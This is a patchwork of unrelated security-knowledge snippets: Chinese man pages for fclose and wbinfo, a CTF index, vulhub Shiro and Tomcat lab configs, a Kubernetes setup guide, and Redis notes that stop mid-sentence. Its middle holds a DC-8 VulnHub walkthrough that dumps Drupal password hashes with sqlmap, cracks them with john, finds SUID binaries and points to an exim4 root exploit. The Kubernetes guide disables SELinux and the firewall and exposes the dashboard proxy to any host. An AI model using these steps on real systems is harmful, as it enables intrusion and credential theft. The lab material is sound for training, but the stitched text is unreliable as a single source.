CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" @(#)fclose.3 6.7 (Berkeley) 6/29/91 .\" .\" Converted for Linux, Mon Nov 29 15:19:14 1993, faith@cs.unc.edu .\" .\" Modified 2000-07-22 by Nicol??s Lichtmaier <nick@debian.org> .\" .TH FCLOSE 3 1993-11-29 "BSD MANPAGE" "Linux Programmer's Manual" .SH NAME fclose \- 关闭流 .SH "SYNOPSIS 总览" .B #include <stdio.h> .sp .BI "int fclose(FILE *" stream ); .SH "DESCRIPTION 描述" 函数 .B fclose 将名为 .I stream 的流与它底层关联的文件或功能集合断开。如果流曾用作输出,任何缓冲的数据都将首先被写入,使用 .BR fflush (3) 。 .SH "RETURN VALUE 返回值" 成功执行返回 0,否则返回 .B EOF 并设置全局变量 .I errno 来指示错误发生。任何一种情况下,对流再进行存取 (包括再次调用 .BR fclose "())" 都会带来未定义的结果。 .SH ERRORS .TP .B EBADF .I stream 底层的文件描述符是无效的。 .\" This error cannot occur unless you are mixing ANSI C stdio operations and .\" low-level file operations on the same stream. If you do get this error, .\" you must have closed the stream's low-level file descriptor using .\" something like close(fileno(fp)). .PP 函数 .B fclose 也可能失败并置 .I errno 为 .BR close (2), .BR write (2) 或 .BR fflush (3) 指定的值。 .SH "NOTES 要点" 注意 .B fclose 仅仅刷新用户空间的由 C 库提供的缓冲。要保证数据被物理地存储到磁盘上,必须也刷新内核缓冲。例如,使用 .BR sync (2) 或 .BR fsync (2). .SH "CONFORMING TO 标准参考" 函数 .B fclose 遵循 ANSI X3.159-1989 (``ANSI C'') 标准。 .SH "SEE ALSO 参见" .BR close (2), .BR fcloseall (3), .BR fflush (3), .BR fopen (3), .BR setbuf (3)
sec-knowleage
# TokyoWesterns CTF 5th 2019 Team: c7, shalom, nazywam, rev, chivay, Eternal, rodbert, msm, des, psrok1, niedzejkob ### Table of contents * [Real baby rsa (crypto)](baby_rsa) * [Simple logic (crypto)](simple_logic) * [Meow (re/crypto)](meow) * [M-Poly-Cipher (re/crypto)](mpolycipher) * [Happy (crypto)](happy)
sec-knowleage
package org.vulhub.shirodemo; import org.apache.shiro.mgt.RememberMeManager; import org.apache.shiro.mgt.SecurityManager; import org.apache.shiro.spring.web.ShiroFilterFactoryBean; import org.apache.shiro.web.mgt.CookieRememberMeManager; import org.apache.shiro.web.mgt.DefaultWebSecurityManager; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import java.util.LinkedHashMap; import java.util.Map; @Configuration public class ShiroConfig { @Bean MainRealm mainRealm() { return new MainRealm(); } @Bean RememberMeManager cookieRememberMeManager() { return new CookieRememberMeManager(); } @Bean SecurityManager securityManager(MainRealm mainRealm, RememberMeManager cookieRememberMeManager) { DefaultWebSecurityManager manager = new DefaultWebSecurityManager(); manager.setRealm(mainRealm); manager.setRememberMeManager(cookieRememberMeManager); return manager; } @Bean(name="shiroFilter") ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) { ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean(); bean.setSecurityManager(securityManager); bean.setLoginUrl("/login"); bean.setUnauthorizedUrl("/unauth"); Map<String, String> map = new LinkedHashMap<>(); map.put("/doLogin", "anon"); map.put("/**", "user"); bean.setFilterChainDefinitionMap(map); return bean; } }
sec-knowleage
.\"Generated by db2man.xsl. Don't modify this, modify the source. .de Sh \" Subsection .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Ip \" List item .br .ie \\n(.$>=3 .ne \\$3 .el .ne 3 .IP "\\$1" \\$2 .. .TH "WBINFO" 1 "" "" "" .SH NAME wbinfo \- 向winbind服务查询信息 .SH "总览 SYNOPSIS" \fBwbinfo\fR [-a user%password] [-c username] [-C groupname] [--domain domain] [-I ip] [-s sid] [-u] [-U uid] [-g] [--get-auth-user] [-G gid] [-m] [-n name] [-N netbios-name] [-o user:group] [-O user:group] [-p] [-r user] [--set-auth-user user%password] [--sequence] [-S sid] [-t] [-x username] [-X groupname] [-Y sid] .SH "描述 DESCRIPTION" .PP 此工具是 \fBSamba\fR(7) 套件的一部分。 .PP \fBwbinfo\fR程序查询并返回由\fBwinbindd\fR(8)服务建立和使用的那些信息。 .PP \fBwinbindd\fR(8)进程必须为\fBwbinfo\fR程序而进行配置及运行,以便可以返回信息。 .SH "选项 OPTIONS" .TP -a username%password Attempt to authenticate a user via winbindd\&. This checks both authenticaion methods and reports its results\&. .TP -c user Create a local winbind user\&. .TP -C group Create a local winbindd group\&. .TP --domain name This parameter sets the domain on which any specified operations will performed\&. If special domain name '\&.' is used to represent the current domain to which winbindd belongs\&. Currently only the \fB--sequence\fR, \fB-u\fR, and \fB-g\fR options honor this parameter\&. .TP -g 该选项可以列出\fBwinbindd\fR(8)服务所运行的那个\fIWindows NT\fR域中所有可以获得的用户组。所有受托域中的用户组也将被列出。注意该操作并不为任何\fBwinbindd\fR(8)还未获悉的用户组分配组ID。 .TP --get-auth-user Print username and password used by winbindd during session setup to a domain controller\&. Username and password can be set using '-A'\&. Only available for root\&. .TP -G gid 该选项试图把一个UNIX组ID转换为一个\fIWindows NT\fR的SID。如果指定的GID无法对应到idmap的GID范围中,则操作失败。 .TP -I ip The \fI-I\fR option queries \fBwinbindd\fR(8) to send a node status request to get the NetBIOS name associated with the IP address specified by the \fIip\fR parameter\&. .TP -m 该选项产生一份当\fBwinbindd\fR(8)在进行名字解析时所联系的\fIWindows NT\fR服务器信任的域列表。该列表不含主域控制器所在的那个NT域。 .TP -n name 该选项向\fBwinbindd\fR(8)查询指定名字所分配的SID。使用winbind分隔字符可以在用户名前指定域名。例如CWDOM1/Administrator就是引用域CWDOM1中的管理员。如不指定域,则使用\fBsmb.conf\fR(5)中\fIworkgroup\fR参数所指定的值作为域名。[译者注:SID义为安全标识] .TP -N name The \fI-N\fR option queries \fBwinbindd\fR(8) to query the WINS server for the IP address associated with the NetBIOS name specified by the \fIname\fR parameter\&. .TP -o user:group Add a winbindd local group as a secondary group for the specified winbindd local user\&. .TP -O user:group Remove a winbindd local group as a secondary group for the specified winbindd local user\&. .TP -p Check whether winbindd is still alive\&. Prints out either 'succeeded' or 'failed'\&. .TP -r username Try to obtain the list of UNIX group ids to which the user belongs\&. This only works for users defined on a Domain Controller\&. .TP -s sid 用\fI-s\fR可以把一个SID解析为一个名字。这正好与上面那个\fI-n\fR选项相反。SID必须按传统的\fI微软格式\fR, 用ASCII字串来指定。例如S-1-5-21-1455342024-3071081365-2475485837-500。 .TP --set-auth-user username%password Store username and password used by winbindd during session setup to a domain controller\&. This enables winbindd to operate in a Windows 2000 domain with Restrict Anonymous turned on (a\&.k\&.a\&. Permissions compatiable with Windows 2000 servers only)\&. .TP --sequence Show sequence numbers of all known domains .TP -S sid 该选项把一个SID转换为一个UNIX用户ID。如果SID与\fBwinbindd\fR(8)所映射的UNIX用户不符合则操作失败。 .TP -t 该选项对samba服务器加入到NT域中时所建立的工作站信任账号进行校验。 .TP -u 该选项可以列出\fBwinbindd\fR(8)服务所在的那个\fIWindows NT\fR域中所有可以得到的用户。所有受托域中的用户也将被列出。注意该操作并不为任何\fBwinbindd\fR(8)尚未获悉的用户分配用户ID。 .TP -U uid 该选项试图把一个UNIX用户ID转换为一个\fIWindows NT\fR的SID。如果指定的UID无法对应到winbind的UID范围中,则操作失败。 .TP -x user Delete an existing local winbind user\&. .TP -X group Delete an existing local winbindd group\&. .TP -Y sid 该选项把一个SID转换为一个UNIX组ID。如果SID与\fBwinbindd\fR(8)所映射的UNIX组不符合则操作失败。 .TP -V Prints the program version number\&. .TP -h|--help Print a summary of command line options\&. .SH "退出状态 EXIT STATUS" .PP wbinfo程序在操作成功时返回0,否则返回1。如果\fBwinbindd\fR(8)当前不在运行,则\fBwbinfo\fR总是返回失败信号。 .SH "版本 VERSION" .PP 这份手册页在Samba套件三中经过了校正。 .SH "参见 SEE ALSO" .PP \fBwinbindd\fR(8) .SH "作者 AUTHOR" .PP samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。 .PP 最初的samba手册页是 Karl Auer写的。 手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。 Gerald Carter 在Samba2.2中将它转化为DocBook 格式。 Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。 .SH "[中文版维护人]" .B meaculpa <meaculpa@21cn.com> .SH "[中文版最新更新]" .B 2000/12/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
expr === 一款表达式计算工具 ## 补充说明 **expr命令** 是一款表达式计算工具,使用它完成表达式的求值操作。 expr的常用运算符: - 加法运算:`+` - 减法运算:`-` - 乘法运算:`\*` - 除法运算:`/` - 取模(取余)运算:`%` ### 语法 ```shell expr(选项)(参数) ``` ### 选项 ```shell --help:显示指令的帮助信息; --version:显示指令版本信息。 ``` ### 参数 表达式:要求值的表达式。 ### 实例 ```shell result=`expr 2 + 3` result=$(expr $no1 + 5) ```
sec-knowleage
# 安装部署 ## minikube > 使用Ubuntu 20.04 ### 安装docker ``` apt install -y docker.io ``` ### 安装cri-dockerd ``` wget https://storage.googleapis.com/golang/getgo/installer_linux chmod +x ./installer_linux ./installer_linux source ~/.bash_profile ``` ``` git clone https://github.com/Mirantis/cri-dockerd.git cd cri-dockerd mkdir bin go build -o bin/cri-dockerd mkdir -p /usr/local/bin install -o root -g root -m 0755 bin/cri-dockerd /usr/local/bin/cri-dockerd cp -a packaging/systemd/* /etc/systemd/system sed -i -e 's,/usr/bin/cri-dockerd,/usr/local/bin/cri-dockerd,' /etc/systemd/system/cri-docker.service systemctl daemon-reload systemctl enable cri-docker.service systemctl enable --now cri-docker.socket ``` 修改`/etc/systemd/system/cri-docker.socket`服务,将`docker`变成`root`。 ``` SocketGroup=root ``` 创建软连接 ``` ln -s /usr/local/bin/cri-dockerd /usr/bin/cri-dockerd ``` 然后重启服务服务 ``` systemctl daemon-reload systemctl restart cri-docker.socket ``` 查看这两个服务是否正常 ``` systemctl status cri-docker.service systemctl status cri-docker.socket ``` 安装crictl ``` wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.26.0/crictl-v1.26.0-linux-amd64.tar.gz sudo tar zxvf crictl-v1.26.0-linux-amd64.tar.gz -C /usr/local/bin rm -f zxvf crictl-v1.26.0-linux-amd64.tar.gz ln -s /usr/local/bin/crictl /usr/bin/crictl ``` ### 安装kubectl ``` curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl chmod +x ./kubectl sudo mv ./kubectl /usr/local/bin/kubectl kubectl version --client ``` ### 安装Minikube ``` apt install conntrack -y ``` ``` curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 && chmod +x minikube sudo mkdir -p /usr/local/bin/ sudo install minikube /usr/local/bin/ ``` ### 运行 查看可支持的版本 ``` minikube config defaults kubernetes-version ``` 启动集群 ``` minikube start --image-mirror-country=cn --driver=none --kubernetes-version=1.23.15 ``` 查看pods ``` kubectl get pods --all-namespaces ``` 启动metrics ``` minikube addons enable metrics-server ``` 启动仪表盘 ``` minikube dashboard ``` 配置对外端口 ``` kubectl proxy --port=8088 --address='0.0.0.0' --accept-hosts='^.*' ``` 访问URL ``` http://192.168.2.131:8088/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy ``` ![image-20230109225621851](../../.gitbook/assets/image-20230109225621851.png) ## kubernetes集群安装 ### 架构 三台使用Ubuntu 20.04。 | 机器 | IP地址 | | :----: | :-----------: | | master | 192.168.32.10 | | node-1 | 192.168.32.20 | | node-2 | 192.168.32.30 | ### 安装cri-dockerd > 三台都要装 > 注意: Docker 引擎不实现CRI ,这是容器运行时与 Kubernetes 一起工作的要求。因此, 必须安装额外的服务cri-dockerd 。cri-dockerd 是一个基于遗留内置 Docker 引擎支持的项目,该支持已在 1.24 版中从 kubelet 中删除。 ```sh $ yum install -y docker ``` 安装go语言 ``` wget https://storage.googleapis.com/golang/getgo/installer_linux chmod +x ./installer_linux ./installer_linux source ~/.bash_profile ``` 安装cri-docker ``` git clone https://github.com/Mirantis/cri-dockerd.git cd cri-dockerd mkdir bin go build -o bin/cri-dockerd mkdir -p /usr/local/bin install -o root -g root -m 0755 bin/cri-dockerd /usr/local/bin/cri-dockerd cp -a packaging/systemd/* /etc/systemd/system sed -i -e 's,/usr/bin/cri-dockerd,/usr/local/bin/cri-dockerd,' /etc/systemd/system/cri-docker.service ``` 修改`/etc/systemd/system/cri-docker.socket `中`SocketGroup`组为`root` ``` SocketGroup=root ``` 重新读取配置文件,设置开机启动以及立刻运行服务。 ``` systemctl daemon-reload systemctl enable cri-docker.service systemctl enable --now cri-docker.socket ``` ### 安装 kubeadm、kubelet 和 kubectl 您将在所有机器上安装这些软件包: - `kubeadm`:引导集群的命令。 - `kubelet`:在集群中的所有机器上运行并执行诸如启动 pod 和容器之类的组件。 - `kubectl`:用于与您的集群对话的命令行实用程序。 切换到国内源 ``` cat << EOF > /etc/yum.repos.d/kubernetes.repo [kubernetes] name=Kubernetes baseurl=http://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64 enabled=1 gpgcheck =0 repo_gpgcheck=0 gpgkey=http://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg http://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key. gpg EOF ``` 将 SELinux 设置为 permissive 模式(相当于将其禁用) ``` sudo setenforce 0 sudo sed -i 's/^SELINUX=enforcing$/SELINUX=permissive/' /etc/selinux/config ``` > 通过运行命令 `setenforce 0` 和 `sed ...` 将 SELinux 设置为 permissive 模式可以有效地将其禁用。 这是允许容器访问主机文件系统所必需的,而这些操作是为了例如 Pod 网络工作正常。 关闭swap分区 ``` swapoff -a ``` 关闭防火墙 ``` systemctl disable firewalld systemctl stop firewalld ``` 查看支持的版本 ``` yum list kubeadm --showduplicates ``` ``` yum install -y kubelet-1.24.10-0 kubeadm-1.24.10-0 kubectl-1.24.10-0 systemctl enable --now kubelet ``` ### 部署集群 `kubeadm init` 是一个用于初始化 Kubernetes 集群的命令。当你运行 `kubeadm init` 时,它会在你运行该命令的节点上创建一个新的集群。 你可以使用 `--cri-socket` 参数来指定要使用的容器运行时接口 (CRI) 的套接字。CRI 是 Kubernetes 与容器运行时(例如 Docker 或 containerd)进行通信的接口。 你也可以使用 `--control-plane-endpoint` 参数来指定集群的控制平面端点的 IP 地址和端口。控制平面是集群的中枢,负责管理集群的状态并在节点上调度工作负载。 master节点初始化 ``` kubeadm init --pod-network-cidr=10.10.0.0/16 --service-cidr=10.20.0.0/16 --apiserver-advertise-address=192.168.32.10 ``` 复制凭据 ``` mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config ``` > 重置 > > ``` > kubeadm reset > ``` 这时候`coredns`是还没有启动 ``` [root@master tmp]# kubectl get pods --all-namespaces NAMESPACE NAME READY STATUS RESTARTS AGE kube-system coredns-787d4945fb-8wx44 0/1 Pending 0 2m39s kube-system coredns-787d4945fb-gx8sn 0/1 Pending 0 2m39s kube-system etcd-master 1/1 Running 0 2m43s kube-system kube-apiserver-master 1/1 Running 0 2m43s kube-system kube-controller-manager-master 1/1 Running 0 2m43s kube-system kube-proxy-7697h 1/1 Running 0 2m39s kube-system kube-scheduler-master 1/1 Running 0 2m43s ``` 下载配置文件 ``` wget https://raw.githubusercontent.com/flannel-io/flannel/master/Documentation/kube-flannel.yml ``` 修改`kube-flannel.ym`l中的Network的值,要与初始化时的参数`--pod-network-cidr`的值一致 ![image-20230203145303281](../../.gitbook/assets/image-20230203145303281.png) 运行flannel ``` kubectl apply -f kube-flannel.yml ``` 默认情况下,出于安全原因,您的集群不会在控制平面节点上调度 Pod。如果您希望能够在控制平面节点上调度 Pod,例如对于单机 Kubernetes 集群,请运行: ```bash kubectl taint nodes --all node-role.kubernetes.io/control-plane- ``` 两个node节点加入到master节点 ``` kubeadm join 192.168.32.10:6443 --token zm9d69.thhdovu1arndqgj7 \ --discovery-token-ca-cert-hash sha256:86f80df05a966c1c6725ba1c0d217ec870314800b446d28f560e726a5865df6f ``` > 如果出现`[ERROR FileContent--proc-sys-net-bridge-bridge-nf-call-iptables]: /proc/sys/net/bridge/bridge-nf-call-iptables contents are not set to 1` > > ``` > echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables > ``` ![image-20230203165654424](../../.gitbook/assets/image-20230203165654424.png) 查看节点状态 ![image-20230203165831375](../../.gitbook/assets/image-20230203165831375.png) > 由于集群节点通常是按顺序初始化的,CoreDNS Pod 很可能都运行在第一个控制面节点上。 为了提供更高的可用性,请在加入至少一个新节点后 使用 `kubectl -n kube-system rollout restart deployment coredns` 命令,重新平衡这些 CoreDNS Pod。
sec-knowleage
# DC: 8 下载地址:https://download.vulnhub.com/dc/DC-8.zip ## 实战演练 靶场IP:`192.168.32.167` ![image-20220714101005966](../../.gitbook/assets/image-20220714101005966.png) 扫描对外端口 ``` ┌──(root💀kali)-[~/Desktop] └─# nmap -p1-65535 192.168.32.167 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 22:10 EDT Nmap scan report for 192.168.32.167 Host is up (0.00061s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:D5:2C:5E (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.69 seconds ``` 浏览器访问80端口 ![image-20220714101136151](../../.gitbook/assets/image-20220714101136151.png) 在网页输入单引号,引发报错,说明有SQL注入漏洞 ![image-20220714101615704](../../.gitbook/assets/image-20220714101615704.png) 使用sqlmap获取信息 ``` ┌──(root💀kali)-[~/Desktop] └─# sqlmap -u "http://192.168.32.167/?nid=1" --batch -D d7db -T users -C "name,pass" --dump Database: d7db Table: users [2 entries] +-------+---------------------------------------------------------+ | name | pass | +-------+---------------------------------------------------------+ | admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | | john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | +-------+---------------------------------------------------------+ ``` 使用john进行hash爆破,获取到`john:turtle` ``` ┌──(root💀kali)-[~/Desktop] └─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (Drupal7, $S$ [SHA512 128/128 AVX 2x]) Cost 1 (iteration count) is 32768 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status turtle (?) ``` 由于在页面没有用户登录页面,爆破目录看看 ![image-20220714102330394](../../.gitbook/assets/image-20220714102330394.png) 登录成功 ![image-20220714102417249](../../.gitbook/assets/image-20220714102417249.png) 导航到"联系我们"页面、"网络表单"选项卡,然后是"表单设置"。 ![image-20220714103921012](../../.gitbook/assets/image-20220714103921012.png) 找SUID程序 ``` $ find / -perm -u=s 2>/dev/null /usr/bin/chfn /usr/bin/gpasswd /usr/bin/chsh /usr/bin/passwd /usr/bin/sudo /usr/bin/newgrp /usr/sbin/exim4 /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /bin/ping /bin/su /bin/umount /bin/mount ``` 我们找到了**/usr/sbin/exim4**,这是我们成为 root 的关键。 我们使用`uname -a`,发现系统是基于debian的,所以我们使用dpkg -l来显示他的版本。 ``` $ dpkg -l exim4 Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-==============-=============-============-============================================== ii exim4 4.89-2+deb9u1 all metapackage to ease Exim MTA (v4) installation ``` exp:https://www.exploit-db.com/download/46996 ![image-20230208134453350](../../.gitbook/assets/image-20230208134453350.png)
sec-knowleage
version: '2' services: tomcat: image: vulhub/tomcat:8.0 volumes: - ./tomcat-users.xml:/usr/local/tomcat/conf/tomcat-users.xml - ./context.xml:/usr/local/tomcat/webapps/manager/META-INF/context.xml - ./context.xml:/usr/local/tomcat/webapps/host-manager/META-INF/context.xml ports: - "8080:8080"
sec-knowleage
# Redis <!-- GFM-TOC --> * [Redis](#redis) * [一、概述](#一概述) * [二、数据类型](#二数据类型) * [STRING](#string) * [LIST](#list) * [SET](#set) * [HASH](#hash) * [ZSET](#zset) * [三、数据结构](#三数据结构) * [字典](#字典) * [跳跃表](#跳跃表) * [四、使用场景](#四使用场景) * [计数器](#计数器) * [缓存](#缓存) * [查找表](#查找表) * [消息队列](#消息队列) * [会话缓存](#会话缓存) * [分布式锁实现](#分布式锁实现) * [其它](#其它) * [五、Redis 与 Memcached](#五redis-与-memcached) * [数据类型](#数据类型) * [数据持久化](#数据持久化) * [分布式](#分布式) * [内存管理机制](#内存管理机制) * [六、键的过期时间](#六键的过期时间) * [七、数据淘汰策略](#七数据淘汰策略) * [八、持久化](#八持久化) * [RDB 持久化](#rdb-持久化) * [AOF 持久化](#aof-持久化) * [九、事务](#九事务) * [十、事件](#十事件) * [文件事件](#文件事件) * [时间事件](#时间事件) * [事件的调度与执行](#事件的调度与执行) * [十一、复制](#十一复制) * [连接过程](#连接过程) * [主从链](#主从链) * [十二、Sentinel](#十二sentinel) * [十三、分片](#十三分片) * [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析) * [文章信息](#文章信息) * [点赞功能](#点赞功能) * [对文章进行排序](#对文章进行排序) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一、概述 Redis 是速度非常快的非关系型(NoSQL)内存键值数据库,可以存储键和五种不同类型的值之间的映射。 键的类型只能为字符串,值支持五种数据类型:字符串、列表、集合、散列表、有序集合。 Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。 ## 二、数据类型 | 数据类型 | 可以存储的值 | 操作 | | :--: | :--: | :--: | | STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作\</br\> 对整数和浮点数执行自增或者自减操作 | | LIST | 列表 | 从两端压入或者弹出元素 \</br\> 对单个或者多个元素进行修剪,\</br\> 只保留一个范围内的元素 | | SET | 无序集合 | 添加、获取、移除单个元素\</br\> 检查一个元素是否存在于集合中\</br\> 计算交集、并集、差集\</br\> 从集合里面随机获取元素 | | HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对\</br\> 获取所有键值对\</br\> 检查某个键是否存在| | ZSET | 有序集合 | 添加、获取、删除元素\</br\> 根据分值范围或者成员来获取元素\</br\> 计算一个键的排名 | > [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/) ### STRING <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/> </div><br> ```html > set hello world OK > get hello "world" > del hello (integer) 1 > get hello (nil) ``` ### LIST <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/> </div><br> ```html > rpush list-key item (integer) 1 > rpush list-key item2 (integer) 2 > rpush list-key item (integer) 3 > lrange list-key 0 -1 1) "item" 2) "item2" 3) "item" > lindex list-key 1 "item2" > lpop list-key "item" > lrange list-key 0 -1 1) "item2" 2) "item" ``` ### SET <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/> </div><br> ```html > sadd set-key item (integer) 1 > sadd set-key item2 (integer) 1 > sadd set-key item3 (integer) 1 > sadd set-key item (integer) 0 > smembers set-key 1) "item" 2) "item2" 3) "item3" > sismember set-key item4 (integer) 0 > sismember set-key item (integer) 1 > srem set-key item2 (integer) 1 > srem set-key item2 (integer) 0 > smembers set-key 1) "item" 2) "item3" ``` ### HASH <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/> </div><br> ```html > hset hash-key sub-key1 value1 (integer) 1 > hset hash-key sub-key2 value2 (integer) 1 > hset hash-key sub-key1 value1 (integer) 0 > hgetall hash-key 1) "sub-key1" 2) "value1" 3) "sub-key2" 4) "value2" > hdel hash-key sub-key2 (integer) 1 > hdel hash-key sub-key2 (integer) 0 > hget hash-key sub-key1 "value1" > hgetall hash-key 1) "sub-key1" 2) "value1" ``` ### ZSET <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/> </div><br> ```html > zadd zset-key 728 member1 (integer) 1 > zadd zset-key 982 member0 (integer) 1 > zadd zset-key 982 member0 (integer) 0 > zrange zset-key 0 -1 withscores 1) "member1" 2) "728" 3) "member0" 4) "982" > zrangebyscore zset-key 0 800 withscores 1) "member1" 2) "728" > zrem zset-key member1 (integer) 1 > zrem zset-key member1 (integer) 0 > zrange zset-key 0 -1 withscores 1) "member0" 2) "982" ``` ## 三、数据结构 ### 字典 dictht 是一个散列表结构,使用拉链法解决哈希冲突。 ```c /* This is our hash table structure. Every dictionary has two of this as we * implement incremental rehashing, for the old to the new table. */ typedef struct dictht { dictEntry **table; unsigned long size; unsigned long sizemask; unsigned long used; } dictht; ``` ```c typedef struct dictEntry { void *key; union { void *val; uint64_t u64; int64_t s64; double d; } v; struct dictEntry *next; } dictEntry; ``` Redis 的字典 dict 中包含两个哈希表 dictht,这是为了方便进行 rehash 操作。在扩容时,将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面,完成之后释放空间并交换两个 dictht 的角色。 ```c typedef struct dict { dictType *type; void *privdata; dictht ht[2]; long rehashidx; /* rehashing not in progress if rehashidx == -1 */ unsigned long iterators; /* number of iterators currently running */ } dict; ``` rehash 操作不是一次性完成,而是采用渐进方式,这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。 渐进式 rehash 通过记录 dict 的 rehashidx 完成,它从 0 开始,然后每执行一次 rehash 都会递增。例如在一次 rehash 中,要把 dict[0] rehash 到 dict[1],这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上,dict[0] 的 table[rehashidx] 指向 null,并令 rehashidx++。 在 rehash 期间,每次对字典执行添加、删除、查找或者更新操作时,都会执行一次渐进式 rehash。 采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上,因此对字典的查找操作也需要到对应的 dictht 去执行。 ```c /* Performs N steps of incremental rehashing. Returns 1 if there are still * keys to move from the old to the new hash table, otherwise 0 is returned. * * Note that a rehashing step consists in moving a bucket (that may have more * than one key as we use chaining) from the old to the new hash table, however * since part of the hash table may be composed of empty spaces, it is not * guaranteed that this function will rehash even a single bucket, since it * will visit at max N*10 empty buckets in total, otherwise the amount of * work it does would be unbound and the function may block for a long time. */ int dictRehash(dict *d, int n) { int empty_visits = n * 10; /* Max number of empty buckets to visit. */ if (!dictIsRehashing(d)) return 0; while (n-- && d->ht[0].used != 0) { dictEntry *de, *nextde; /* Note that rehashidx can't overflow as we are sure there are more * elements because ht[0].used != 0 */ assert(d->ht[0].size > (unsigned long) d->rehashidx); while (d->ht[0].table[d->rehashidx] == NULL) { d->rehashidx++; if (--empty_visits == 0) return 1; } de = d->ht[0].table[d->rehashidx]; /* Move all the keys in this bucket from the old to the new hash HT */ while (de) { uint64_t h; nextde = de->next; /* Get the index in the new hash table */ h = dictHashKey(d, de->key) & d->ht[1].sizemask; de->next = d->ht[1].table[h]; d->ht[1].table[h] = de; d->ht[0].used--; d->ht[1].used++; de = nextde; } d->ht[0].table[d->rehashidx] = NULL; d->rehashidx++; } /* Check if we already rehashed the whole table... */ if (d->ht[0].used == 0) { zfree(d->ht[0].table); d->ht[0] = d->ht[1]; _dictReset(&d->ht[1]); d->rehashidx = -1; return 0; } /* More to rehash... */ return 1; } ``` ### 跳跃表 是有序集合的底层实现之一。 跳跃表是基于多指针有序链表实现的,可以看成多个有序链表。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/beba612e-dc5b-4fc2-869d-0b23408ac90a.png" width="600px"/> </div><br> 在查找时,从上层指针开始查找,找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0ea37ee2-c224-4c79-b895-e131c6805c40.png" width="600px"/> </div><br> 与红黑树等平衡树相比,跳跃表具有以下优点: - 插入速度非常快速,因为不需要进行旋转等操作来维护平衡性; - 更容易实现; - 支持无锁操作。 ## 四、使用场景 ### 计数器 可以对 String 进行自增自减运算,从而实现计数器功能。 Redis 这种内存型数据库的读写性能非常高,很适合存储频繁读写的计数量。 ### 缓存 将热点数据放到内存中,设置内存的最大使用量以及淘汰策略来保证缓存的命中率。 ### 查找表 例如 DNS 记录就很适合使用 Redis 进行存储。 查找表和缓存类似,也是利用了 Redis 